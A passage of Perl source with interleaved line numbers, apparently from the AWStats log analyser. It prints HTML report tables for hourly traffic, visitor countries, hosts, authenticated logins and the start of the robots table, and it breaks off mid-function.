                        my $apm = ( $ix >= 12 ? "pm"     : "am" );
 
14103
                        print
 
14104
"<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n";
 
14105
                }
 
14106
                print "</tr>\n";
 
14107
                print "</table>\n";
 
14108
        }
 
14109
        print "<br />\n";
 
14110
 
 
14111
        # Show data array for hours
 
14112
        if ($AddDataArrayShowHoursStats) {
 
14113
                print "<table width=\"650\"><tr>\n";
 
14114
                print "<td align=\"center\"><center>\n";
 
14115
 
 
14116
                print "<table>\n";
 
14117
                print
 
14118
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
 
14119
                if ( $ShowHoursStats =~ /P/i ) {
 
14120
                        print "<td width=\"80\" bgcolor=\"#$color_p\""
 
14121
                          . Tooltip(3)
 
14122
                          . ">$Message[56]</td>";
 
14123
                }
 
14124
                if ( $ShowHoursStats =~ /H/i ) {
 
14125
                        print "<td width=\"80\" bgcolor=\"#$color_h\""
 
14126
                          . Tooltip(4)
 
14127
                          . ">$Message[57]</td>";
 
14128
                }
 
14129
                if ( $ShowHoursStats =~ /B/i ) {
 
14130
                        print "<td width=\"80\" bgcolor=\"#$color_k\""
 
14131
                          . Tooltip(5)
 
14132
                          . ">$Message[75]</td>";
 
14133
                }
 
14134
                print "</tr>";
 
14135
                for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) {
 
14136
                        my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
 
14137
                        print "<tr>";
 
14138
                        print "<td>$monthix</td>";
 
14139
                        if ( $ShowHoursStats =~ /P/i ) {
 
14140
                                print "<td>",
 
14141
                                  Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"),
 
14142
                                  "</td>";
 
14143
                        }
 
14144
                        if ( $ShowHoursStats =~ /H/i ) {
 
14145
                                print "<td>",
 
14146
                                  Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"),
 
14147
                                  "</td>";
 
14148
                        }
 
14149
                        if ( $ShowHoursStats =~ /B/i ) {
 
14150
                                print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
 
14151
                                  "</td>";
 
14152
                        }
 
14153
                        print "</tr>\n";
 
14154
                }
 
14155
                print "</table>\n";
 
14156
 
 
14157
                print "</center></td>";
 
14158
                print "<td width=\"10\">&nbsp;</td>";
 
14159
                print "<td align=\"center\"><center>\n";
 
14160
 
 
14161
                print "<table>\n";
 
14162
                print
 
14163
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
 
14164
                if ( $ShowHoursStats =~ /P/i ) {
 
14165
                        print "<td width=\"80\" bgcolor=\"#$color_p\""
 
14166
                          . Tooltip(3)
 
14167
                          . ">$Message[56]</td>";
 
14168
                }
 
14169
                if ( $ShowHoursStats =~ /H/i ) {
 
14170
                        print "<td width=\"80\" bgcolor=\"#$color_h\""
 
14171
                          . Tooltip(4)
 
14172
                          . ">$Message[57]</td>";
 
14173
                }
 
14174
                if ( $ShowHoursStats =~ /B/i ) {
 
14175
                        print "<td width=\"80\" bgcolor=\"#$color_k\""
 
14176
                          . Tooltip(5)
 
14177
                          . ">$Message[75]</td>";
 
14178
                }
 
14179
                print "</tr>\n";
 
14180
                for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) {
 
14181
                        my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
 
14182
                        print "<tr>";
 
14183
                        print "<td>$monthix</td>";
 
14184
                        if ( $ShowHoursStats =~ /P/i ) {
 
14185
                                print "<td>",
 
14186
                                  Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"),
 
14187
                                  "</td>";
 
14188
                        }
 
14189
                        if ( $ShowHoursStats =~ /H/i ) {
 
14190
                                print "<td>",
 
14191
                                  Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"),
 
14192
                                  "</td>";
 
14193
                        }
 
14194
                        if ( $ShowHoursStats =~ /B/i ) {
 
14195
                                print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
 
14196
                                  "</td>";
 
14197
                        }
 
14198
                        print "</tr>\n";
 
14199
                }
 
14200
                print "</table>\n";
 
14201
 
 
14202
                print "</center></td></tr></table>\n";
 
14203
                print "<br />\n";
 
14204
        }
 
14205
 
 
14206
        print "</center></td></tr>\n";
 
14207
        &tab_end();
 
14208
}
 
14209
 
 
14210
#------------------------------------------------------------------------------
 
14211
# Function:     Prints the countries chart and table
 
14212
# Parameters:   $NewLinkParams, $NewLinkTarget
 
14213
# Input:        -
 
14214
# Output:       HTML
 
14215
# Return:       -
 
14216
#------------------------------------------------------------------------------
 
14217
sub HTMLMainCountries{
 
14218
        my $NewLinkParams = shift;
 
14219
        my $NewLinkTarget = shift;
 
14220
        
 
14221
        if ($Debug) { debug( "ShowDomainsStats", 2 ); }
 
14222
        print "$Center<a name=\"countries\">&nbsp;</a><br />\n";
 
14223
        my $title =
 
14224
"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) &nbsp; - &nbsp; <a href=\""
 
14225
          . (
 
14226
                $ENV{'GATEWAY_INTERFACE'}
 
14227
                  || !$StaticLinks
 
14228
                ? XMLEncode("$AWScript${NewLinkParams}output=alldomains")
 
14229
                : "$StaticLinks.alldomains.$StaticExt"
 
14230
          )
 
14231
          . "\"$NewLinkTarget>$Message[80]</a>";
 
14232
        &tab_head( "$title", 19, 0, 'countries' );
 
14233
        
 
14234
        my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
 
14235
        my $max_h = 1;
 
14236
        foreach ( values %_domener_h ) {
 
14237
                if ( $_ > $max_h ) { $max_h = $_; }
 
14238
        }
 
14239
        my $max_k = 1;
 
14240
        foreach ( values %_domener_k ) {
 
14241
                if ( $_ > $max_k ) { $max_k = $_; }
 
14242
        }
 
14243
        my $count = 0;
 
14244
        
 
14245
        &BuildKeyList(
 
14246
                $MaxNbOf{'Domain'}, $MinHit{'Domain'},
 
14247
                \%_domener_h,       \%_domener_p
 
14248
        );
 
14249
        
 
14250
        # print the map
 
14251
        if (scalar @keylist > 1){
 
14252
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
14253
                {
 
14254
                        my @blocklabel = ();
 
14255
                        my @valdata = ();
 
14256
                        my $cnt = 0;
 
14257
                        foreach my $key (@keylist) {
 
14258
                                push @valdata, int( $_domener_h{$key} );
 
14259
                                push @blocklabel, $DomainsHashIDLib{$key};
 
14260
                                $cnt++;
 
14261
                                if ($cnt > 99) { last; }
 
14262
                        }
 
14263
                        print "<tr><td colspan=\"7\" align=\"center\">";
 
14264
                        my $function = "ShowGraph_$pluginname";
 
14265
                        &$function(
 
14266
                                "AWStatsCountryMap",              "countries_map",
 
14267
                                0,                                              \@blocklabel,
 
14268
                                0,                              0,
 
14269
                                0,                              0,
 
14270
                                0,                              \@valdata
 
14271
                        );
 
14272
                        print "</td></tr>";
 
14273
                }
 
14274
        }
 
14275
        
 
14276
        print
 
14277
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th colspan=\"2\">$Message[17]</th>";
 
14278
 
 
14279
        ## to add unique visitors and number of visits by calculation of average of the relation with total
 
14280
        ## pages and total hits, and total visits and total unique
 
14281
        ## by Josep Ruano @ CAPSiDE
 
14282
        if ( $ShowDomainsStats =~ /U/i ) {
 
14283
                print "<th bgcolor=\"#$color_u\" width=\"80\""
 
14284
                  . Tooltip(2)
 
14285
                  . ">$Message[11]</th>";
 
14286
        }
 
14287
        if ( $ShowDomainsStats =~ /V/i ) {
 
14288
                print "<th bgcolor=\"#$color_v\" width=\"80\""
 
14289
                  . Tooltip(1)
 
14290
                  . ">$Message[10]</th>";
 
14291
        }
 
14292
        if ( $ShowDomainsStats =~ /P/i ) {
 
14293
                print "<th bgcolor=\"#$color_p\" width=\"80\""
 
14294
                  . Tooltip(3)
 
14295
                  . ">$Message[56]</th>";
 
14296
        }
 
14297
        if ( $ShowDomainsStats =~ /H/i ) {
 
14298
                print "<th bgcolor=\"#$color_h\" width=\"80\""
 
14299
                  . Tooltip(4)
 
14300
                  . ">$Message[57]</th>";
 
14301
        }
 
14302
        if ( $ShowDomainsStats =~ /B/i ) {
 
14303
                print "<th bgcolor=\"#$color_k\" width=\"80\""
 
14304
                  . Tooltip(5)
 
14305
                  . ">$Message[75]</th>";
 
14306
        }
 
14307
        print "<th>&nbsp;</th>";
 
14308
        print "</tr>\n";
 
14309
        
 
14310
        foreach my $key (@keylist) {
 
14311
                my ( $_domener_u, $_domener_v );
 
14312
                my $bredde_p = 0;
 
14313
                my $bredde_h = 0;
 
14314
                my $bredde_k = 0;
 
14315
                my $bredde_u = 0;
 
14316
                my $bredde_v = 0;
 
14317
                if ( $max_h > 0 ) {
 
14318
                        $bredde_p =
 
14319
                          int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
 
14320
                }    # use max_h to enable to compare pages with hits
 
14321
                if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
 
14322
                if ( $max_h > 0 ) {
 
14323
                        $bredde_h =
 
14324
                          int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
 
14325
                }
 
14326
                if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
 
14327
                if ( $max_k > 0 ) {
 
14328
                        $bredde_k =
 
14329
                          int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
 
14330
                          1;
 
14331
                }
 
14332
                if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
 
14333
                my $newkey = lc($key);
 
14334
                if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
 
14335
                        print
 
14336
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
 
14337
                          . AltTitle("$Message[0]")
 
14338
                          . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
 
14339
                }
 
14340
                else {
 
14341
                        print
 
14342
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
 
14343
                          . AltTitle("$newkey")
 
14344
                          . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
 
14345
                }
 
14346
                ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
 
14347
                if ( $ShowDomainsStats =~ /U/i ) {
 
14348
                        $_domener_u = (
 
14349
                                  $_domener_p{$key}
 
14350
                                ? $_domener_p{$key} / $TotalPages
 
14351
                                : 0
 
14352
                        );
 
14353
                        $_domener_u += ( $_domener_h{$key} / $TotalHits );
 
14354
                        $_domener_u =
 
14355
                          sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
 
14356
                        print "<td>".Format_Number($_domener_u)." ("
 
14357
                          . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
 
14358
                          . ")</td>";
 
14359
                }
 
14360
                if ( $ShowDomainsStats =~ /V/i ) {
 
14361
                        $_domener_v = (
 
14362
                                  $_domener_p{$key}
 
14363
                                ? $_domener_p{$key} / $TotalPages
 
14364
                                : 0
 
14365
                        );
 
14366
                        $_domener_v += ( $_domener_h{$key} / $TotalHits );
 
14367
                        $_domener_v =
 
14368
                          sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
 
14369
                        print "<td>".Format_Number($_domener_v)." ("
 
14370
                          . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
 
14371
                          . ")</td>";
 
14372
                }
 
14373
 
 
14374
                if ( $ShowDomainsStats =~ /P/i ) {
 
14375
                        print "<td>"
 
14376
                          . ( $_domener_p{$key} ? Format_Number($_domener_p{$key}) : '&nbsp;' )
 
14377
                          . "</td>";
 
14378
                }
 
14379
                if ( $ShowDomainsStats =~ /H/i ) {
 
14380
                        print "<td>".Format_Number($_domener_h{$key})."</td>";
 
14381
                }
 
14382
                if ( $ShowDomainsStats =~ /B/i ) {
 
14383
                        print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
 
14384
                }
 
14385
                print "<td class=\"aws\">";
 
14386
 
 
14387
                if ( $ShowDomainsStats =~ /P/i ) {
 
14388
                        print
 
14389
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
 
14390
                          . AltTitle("")
 
14391
                          . " /><br />\n";
 
14392
                }
 
14393
                if ( $ShowDomainsStats =~ /H/i ) {
 
14394
                        print
 
14395
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
 
14396
                          . AltTitle("")
 
14397
                          . " /><br />\n";
 
14398
                }
 
14399
                if ( $ShowDomainsStats =~ /B/i ) {
 
14400
                        print
 
14401
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
 
14402
                          . AltTitle("") . " />";
 
14403
                }
 
14404
                print "</td>";
 
14405
                print "</tr>\n";
 
14406
 
 
14407
                $total_u += $_domener_u;
 
14408
                $total_v += $_domener_v;
 
14409
                $total_p += $_domener_p{$key};
 
14410
                $total_h += $_domener_h{$key};
 
14411
                $total_k += $_domener_k{$key} || 0;
 
14412
                $count++;
 
14413
        }
 
14414
        my $rest_u = $TotalUnique - $total_u;
 
14415
        my $rest_v = $TotalVisits - $total_v;
 
14416
        my $rest_p = $TotalPages - $total_p;
 
14417
        my $rest_h = $TotalHits - $total_h;
 
14418
        my $rest_k = $TotalBytes - $total_k;
 
14419
        if (   $rest_u > 0
 
14420
                || $rest_v > 0
 
14421
                || $rest_p > 0
 
14422
                || $rest_h > 0
 
14423
                || $rest_k > 0 )
 
14424
        {    # All other domains (known or not)
 
14425
                print
 
14426
"<tr><td width=\"$WIDTHCOLICON\">&nbsp;</td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
14427
                if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
 
14428
                if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
 
14429
                if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
 
14430
                if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
 
14431
                if ( $ShowDomainsStats =~ /B/i ) {
 
14432
                        print "<td>" . Format_Bytes($rest_k) . "</td>";
 
14433
                }
 
14434
                print "<td class=\"aws\">&nbsp;</td>";
 
14435
                print "</tr>\n";
 
14436
        }
 
14437
        &tab_end();
 
14438
}
 
14439
 
 
14440
#------------------------------------------------------------------------------
 
14441
# Function:     Prints the hosts chart and table
 
14442
# Parameters:   $NewLinkParams, $NewLinkTarget
 
14443
# Input:        -
 
14444
# Output:       HTML
 
14445
# Return:       -
 
14446
#------------------------------------------------------------------------------
 
14447
sub HTMLMainHosts{
 
14448
        my $NewLinkParams = shift;
 
14449
        my $NewLinkTarget = shift;
 
14450
        
 
14451
        if ($Debug) { debug( "ShowHostsStats", 2 ); }
 
14452
        print "$Center<a name=\"visitors\">&nbsp;</a><br />\n";
 
14453
        my $title =
 
14454
"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) &nbsp; - &nbsp; <a href=\""
 
14455
          . (
 
14456
                $ENV{'GATEWAY_INTERFACE'}
 
14457
                  || !$StaticLinks
 
14458
                ? XMLEncode("$AWScript${NewLinkParams}output=allhosts")
 
14459
                : "$StaticLinks.allhosts.$StaticExt"
 
14460
          )
 
14461
          . "\"$NewLinkTarget>$Message[80]</a> &nbsp; - &nbsp; <a href=\""
 
14462
          . (
 
14463
                $ENV{'GATEWAY_INTERFACE'}
 
14464
                  || !$StaticLinks
 
14465
                ? XMLEncode("$AWScript${NewLinkParams}output=lasthosts")
 
14466
                : "$StaticLinks.lasthosts.$StaticExt"
 
14467
          )
 
14468
          . "\"$NewLinkTarget>$Message[9]</a> &nbsp; - &nbsp; <a href=\""
 
14469
          . (
 
14470
                $ENV{'GATEWAY_INTERFACE'}
 
14471
                  || !$StaticLinks
 
14472
                ? XMLEncode("$AWScript${NewLinkParams}output=unknownip")
 
14473
                : "$StaticLinks.unknownip.$StaticExt"
 
14474
          )
 
14475
          . "\"$NewLinkTarget>$Message[45]</a>";
 
14476
        &tab_head( "$title", 19, 0, 'visitors' );
 
14477
        
 
14478
        &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
 
14479
                \%_host_p );
 
14480
                
 
14481
        # Graph the top five in a pie chart
 
14482
        if (scalar @keylist > 1){
 
14483
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
 
14484
                {
 
14485
                        my @blocklabel = ();
 
14486
                        my @valdata = ();
 
14487
                        my @valcolor = ($color_p);
 
14488
                        my $cnt = 0;
 
14489
                        foreach my $key (@keylist) {
 
14490
                                push @valdata, int( $_host_h{$key} / $TotalHits * 1000 ) / 10;
 
14491
                                push @blocklabel, "$key";
 
14492
                                $cnt++;
 
14493
                                if ($cnt > 4) { last; }
 
14494
                        }
 
14495
                        print "<tr><td colspan=\"7\">";
 
14496
                        my $function = "ShowGraph_$pluginname";
 
14497
                        &$function(
 
14498
                                "Hosts",              "hosts",
 
14499
                                0,                                              \@blocklabel,
 
14500
                                0,                              \@valcolor,
 
14501
                                0,                              0,
 
14502
                                0,                              \@valdata
 
14503
                        );
 
14504
                        print "</td></tr>";
 
14505
                }
 
14506
        }
 
14507
        
 
14508
        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
 
14509
        print "<th>";
 
14510
        if ( $MonthRequired ne 'all' ) {
 
14511
                print
 
14512
"$Message[81] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1]<br />".Format_Number($TotalUnique)." $Message[11]</th>";
 
14513
        }
 
14514
        else {
 
14515
                print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>";
 
14516
        }
 
14517
        &HTMLShowHostInfo('__title__');
 
14518
        if ( $ShowHostsStats =~ /P/i ) {
 
14519
                print "<th bgcolor=\"#$color_p\" width=\"80\""
 
14520
                  . Tooltip(3)
 
14521
                  . ">$Message[56]</th>";
 
14522
        }
 
14523
        if ( $ShowHostsStats =~ /H/i ) {
 
14524
                print "<th bgcolor=\"#$color_h\" width=\"80\""
 
14525
                  . Tooltip(4)
 
14526
                  . ">$Message[57]</th>";
 
14527
        }
 
14528
        if ( $ShowHostsStats =~ /B/i ) {
 
14529
                print "<th bgcolor=\"#$color_k\" width=\"80\""
 
14530
                  . Tooltip(5)
 
14531
                  . ">$Message[75]</th>";
 
14532
        }
 
14533
        if ( $ShowHostsStats =~ /L/i ) {
 
14534
                print "<th width=\"120\">$Message[9]</th>";
 
14535
        }
 
14536
        print "</tr>\n";
 
14537
        my $total_p = my $total_h = my $total_k = 0;
 
14538
        my $count = 0;
 
14539
        
 
14540
        foreach my $key (@keylist) {
 
14541
                print "<tr>";
 
14542
                print "<td class=\"aws\">$key</td>";
 
14543
                &HTMLShowHostInfo($key);
 
14544
                if ( $ShowHostsStats =~ /P/i ) {
 
14545
                        print '<td>' . ( Format_Number($_host_p{$key}) || "&nbsp;" ) . '</td>';
 
14546
                }
 
14547
                if ( $ShowHostsStats =~ /H/i ) {
 
14548
                        print "<td>".Format_Number($_host_h{$key})."</td>";
 
14549
                }
 
14550
                if ( $ShowHostsStats =~ /B/i ) {
 
14551
                        print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>';
 
14552
                }
 
14553
                if ( $ShowHostsStats =~ /L/i ) {
 
14554
                        print '<td nowrap="nowrap">'
 
14555
                          . (
 
14556
                                $_host_l{$key}
 
14557
                                ? Format_Date( $_host_l{$key}, 1 )
 
14558
                                : '-'
 
14559
                          )
 
14560
                          . '</td>';
 
14561
                }
 
14562
                print "</tr>\n";
 
14563
                $total_p += $_host_p{$key};
 
14564
                $total_h += $_host_h{$key};
 
14565
                $total_k += $_host_k{$key} || 0;
 
14566
                $count++;
 
14567
        }
 
14568
        my $rest_p = $TotalPages - $total_p;
 
14569
        my $rest_h = $TotalHits - $total_h;
 
14570
        my $rest_k = $TotalBytes - $total_k;
 
14571
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
 
14572
        {    # All other visitors (known or not)
 
14573
                print "<tr>";
 
14574
                print
 
14575
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
14576
                &HTMLShowHostInfo('');
 
14577
                if ( $ShowHostsStats =~ /P/i ) { print "<td>".Format_Number($rest_p)."</td>"; }
 
14578
                if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
 
14579
                if ( $ShowHostsStats =~ /B/i ) {
 
14580
                        print "<td>" . Format_Bytes($rest_k) . "</td>";
 
14581
                }
 
14582
                if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
 
14583
                print "</tr>\n";
 
14584
        }
 
14585
        &tab_end();
 
14586
}
 
14587
 
 
14588
#------------------------------------------------------------------------------
 
14589
# Function:     Prints the logins chart and table
 
14590
# Parameters:   $NewLinkParams, $NewLinkTarget
 
14591
# Input:        -
 
14592
# Output:       HTML
 
14593
# Return:       -
 
14594
#------------------------------------------------------------------------------
 
14595
sub HTMLMainLogins{
 
14596
        my $NewLinkParams = shift;
 
14597
        my $NewLinkTarget = shift;
 
14598
        
 
14599
        if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); }
 
14600
        print "$Center<a name=\"logins\">&nbsp;</a><br />\n";
 
14601
        my $title =
 
14602
"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) &nbsp; - &nbsp; <a href=\""
 
14603
          . (
 
14604
                $ENV{'GATEWAY_INTERFACE'}
 
14605
                  || !$StaticLinks
 
14606
                ? XMLEncode("$AWScript${NewLinkParams}output=alllogins")
 
14607
                : "$StaticLinks.alllogins.$StaticExt"
 
14608
          )
 
14609
          . "\"$NewLinkTarget>$Message[80]</a>";
 
14610
        if ( $ShowAuthenticatedUsers =~ /L/i ) {
 
14611
                $title .= " &nbsp; - &nbsp; <a href=\""
 
14612
                  . (
 
14613
                        $ENV{'GATEWAY_INTERFACE'}
 
14614
                          || !$StaticLinks
 
14615
                        ? XMLEncode("$AWScript${NewLinkParams}output=lastlogins")
 
14616
                        : "$StaticLinks.lastlogins.$StaticExt"
 
14617
                  )
 
14618
                  . "\"$NewLinkTarget>$Message[9]</a>";
 
14619
        }
 
14620
        &tab_head( "$title", 19, 0, 'logins' );
 
14621
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
 
14622
          . Format_Number(( scalar keys %_login_h )) . "</th>";
 
14623
        &HTMLShowUserInfo('__title__');
 
14624
        if ( $ShowAuthenticatedUsers =~ /P/i ) {
 
14625
                print "<th bgcolor=\"#$color_p\" width=\"80\""
 
14626
                  . Tooltip(3)
 
14627
                  . ">$Message[56]</th>";
 
14628
        }
 
14629
        if ( $ShowAuthenticatedUsers =~ /H/i ) {
 
14630
                print "<th bgcolor=\"#$color_h\" width=\"80\""
 
14631
                  . Tooltip(4)
 
14632
                  . ">$Message[57]</th>";
 
14633
        }
 
14634
        if ( $ShowAuthenticatedUsers =~ /B/i ) {
 
14635
                print "<th bgcolor=\"#$color_k\" width=\"80\""
 
14636
                  . Tooltip(5)
 
14637
                  . ">$Message[75]</th>";
 
14638
        }
 
14639
        if ( $ShowAuthenticatedUsers =~ /L/i ) {
 
14640
                print "<th width=\"120\">$Message[9]</th>";
 
14641
        }
 
14642
        print "</tr>\n";
 
14643
        my $total_p = my $total_h = my $total_k = 0;
 
14644
        my $max_h = 1;
 
14645
        foreach ( values %_login_h ) {
 
14646
                if ( $_ > $max_h ) { $max_h = $_; }
 
14647
        }
 
14648
        my $max_k = 1;
 
14649
        foreach ( values %_login_k ) {
 
14650
                if ( $_ > $max_k ) { $max_k = $_; }
 
14651
        }
 
14652
        my $count = 0;
 
14653
        &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
 
14654
                \%_login_p );
 
14655
        foreach my $key (@keylist) {
 
14656
                my $bredde_p = 0;
 
14657
                my $bredde_h = 0;
 
14658
                my $bredde_k = 0;
 
14659
                if ( $max_h > 0 ) {
 
14660
                        $bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1;
 
14661
                }    # use max_h to enable to compare pages with hits
 
14662
                if ( $max_h > 0 ) {
 
14663
                        $bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1;
 
14664
                }
 
14665
                if ( $max_k > 0 ) {
 
14666
                        $bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1;
 
14667
                }
 
14668
                print "<tr><td class=\"aws\">$key</td>";
 
14669
                &HTMLShowUserInfo($key);
 
14670
                if ( $ShowAuthenticatedUsers =~ /P/i ) {
 
14671
                        print "<td>"
 
14672
                          . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : "&nbsp;" )
 
14673
                          . "</td>";
 
14674
                }
 
14675
                if ( $ShowAuthenticatedUsers =~ /H/i ) {
 
14676
                        print "<td>".Format_Number($_login_h{$key})."</td>";
 
14677
                }
 
14678
                if ( $ShowAuthenticatedUsers =~ /B/i ) {
 
14679
                        print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
 
14680
                }
 
14681
                if ( $ShowAuthenticatedUsers =~ /L/i ) {
 
14682
                        print "<td>"
 
14683
                          . (
 
14684
                                $_login_l{$key}
 
14685
                                ? Format_Date( $_login_l{$key}, 1 )
 
14686
                                : '-'
 
14687
                          )
 
14688
                          . "</td>";
 
14689
                }
 
14690
                print "</tr>\n";
 
14691
                $total_p += $_login_p{$key};
 
14692
                $total_h += $_login_h{$key};
 
14693
                $total_k += $_login_k{$key};
 
14694
                $count++;
 
14695
        }
 
14696
        my $rest_p = $TotalPages - $total_p;
 
14697
        my $rest_h = $TotalHits - $total_h;
 
14698
        my $rest_k = $TotalBytes - $total_k;
 
14699
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
 
14700
        {    # All other logins
 
14701
                print
 
14702
                  "<tr><td class=\"aws\"><span style=\"color: #$color_other\">"
 
14703
                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
 
14704
                  . "$Message[125]"
 
14705
                  . ( $PageDir eq 'rtl' ? "</span>" : "" )
 
14706
                  . "</span></td>";
 
14707
                &HTMLShowUserInfo('');
 
14708
                if ( $ShowAuthenticatedUsers =~ /P/i ) {
 
14709
                        print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
 
14710
                }
 
14711
                if ( $ShowAuthenticatedUsers =~ /H/i ) {
 
14712
                        print "<td>".Format_Number($rest_h)."</td>";
 
14713
                }
 
14714
                if ( $ShowAuthenticatedUsers =~ /B/i ) {
 
14715
                        print "<td>" . Format_Bytes($rest_k) . "</td>";
 
14716
                }
 
14717
                if ( $ShowAuthenticatedUsers =~ /L/i ) {
 
14718
                        print "<td>&nbsp;</td>";
 
14719
                }
 
14720
                print "</tr>\n";
 
14721
        }
 
14722
        &tab_end();
 
14723
}
 
14724
 
 
14725
#------------------------------------------------------------------------------
 
14726
# Function:     Prints the robots chart and table
 
14727
# Parameters:   $NewLinkParams, $NewLinkTarget
 
14728
# Input:        -
 
14729
# Output:       HTML
 
14730
# Return:       -
 
14731
#------------------------------------------------------------------------------
 
14732
sub HTMLMainRobots{
 
14733
        my $NewLinkParams = shift;
 
14734
        my $NewLinkTarget = shift;
 
14735
        
 
14736
        if ($Debug) { debug( "ShowRobotStats", 2 ); }
 
14737
        print "$Center<a name=\"robots\">&nbsp;</a><br />\n";
 
14738
        &tab_head(
 
14739
"$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) &nbsp; - &nbsp; <a href=\""
 
14740
                  . (
 
14741
                        $ENV{'GATEWAY_INTERFACE'}
 
14742
                          || !$StaticLinks
 
14743
                        ? XMLEncode("$AWScript${NewLinkParams}output=allrobots")
 
14744
                        : "$StaticLinks.allrobots.$StaticExt"
 
14745
                  )
 
14746
                  . "\"$NewLinkTarget>$Message[80]</a> &nbsp; - &nbsp; <a href=\""
 
14747
                  . (
 
14748
                        $ENV{'GATEWAY_INTERFACE'}
 
14749
                          || !$StaticLinks
 
14750
                        ? XMLEncode("$AWScript${NewLinkParams}output=lastrobots")
 
14751
                        : "$StaticLinks.lastrobots.$StaticExt"
 
14752
                  )
 
14753
                  . "\"$NewLinkTarget>$Message[9]</a>",
 
14754
                19, 0, 'robots'
 
14755
        );
 
14756
        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
 
14757
          . Tooltip(16) . "><th>"
 
14758
          . Format_Number(( scalar keys %_robot_h ))
 
14759
          . " $Message[51]*</th>";
 
14760
        if ( $ShowRobotsStats =~ /H/i ) {
 
14761
                print
 
14762
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
14763
        }
 
14764
        if ( $ShowRobotsStats =~ /B/i ) {
 
14765
                print
 
14766
                  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
14767
        }
 
14768
        if ( $ShowRobotsStats =~ /L/i ) {
 
14769
                print "<th width=\"120\">$Message[9]</th>";
 
14770
        }
 
14771
        print "</tr>\n";
 
14772
        my $total_p = my $total_h = my $total_k = my $total_r = 0;
 
14773
        my $count = 0;
 
14774
        &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
 
14775
                \%_robot_h );
 
14776
        foreach my $key (@keylist) {
 
14777
                print "<tr><td class=\"aws\">"
 
14778
                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
 
14779
